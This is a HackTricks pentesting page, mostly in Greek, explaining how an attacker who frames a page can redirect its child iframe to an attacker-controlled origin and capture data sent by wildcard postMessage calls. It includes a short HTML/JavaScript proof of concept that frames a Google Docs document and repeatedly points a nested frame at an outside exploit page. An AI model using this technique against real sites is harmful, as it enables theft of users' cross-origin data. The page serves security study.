hacktricks/pentesting-web/postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md

4 KiB
Raw Blame History

Steal postmessage modifying iframe location

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Changing child iframes locations

Σύμφωνα με αυτή την ανάλυση, αν μπορείτε να iframe μια ιστοσελίδα χωρίς X-Frame-Header που περιέχει άλλο iframe, μπορείτε να αλλάξετε την τοποθεσία αυτού του παιδικού iframe.

Για παράδειγμα, αν το abc.com έχει το efg.com ως iframe και το abc.com δεν έχει X-Frame header, θα μπορούσα να αλλάξω το efg.com σε evil.com cross origin χρησιμοποιώντας, frames.location.

Αυτό είναι ιδιαίτερα χρήσιμο σε postMessages γιατί αν μια σελίδα στέλνει ευαίσθητα δεδομένα χρησιμοποιώντας ένα wildcard όπως windowRef.postmessage("","*") είναι δυνατόν να αλλάξετε την τοποθεσία του σχετικού iframe (παιδικό ή γονικό) σε μια τοποθεσία που ελέγχεται από τον επιτιθέμενο και να κλέψετε αυτά τα δεδομένα.

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
//pseudo code
setTimeout(function(){ exp(); }, 6000);

function exp(){
//needs to modify this every 0.1s as it's not clear when the iframe of the iframe affected is created
setInterval(function(){
window.frames[0].frame[0][2].location="https://geekycat.in/exploit.html";
}, 100);
}
</script>
</html>

{% hint style="success" %} Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Υποστήριξη HackTricks
{% endhint %}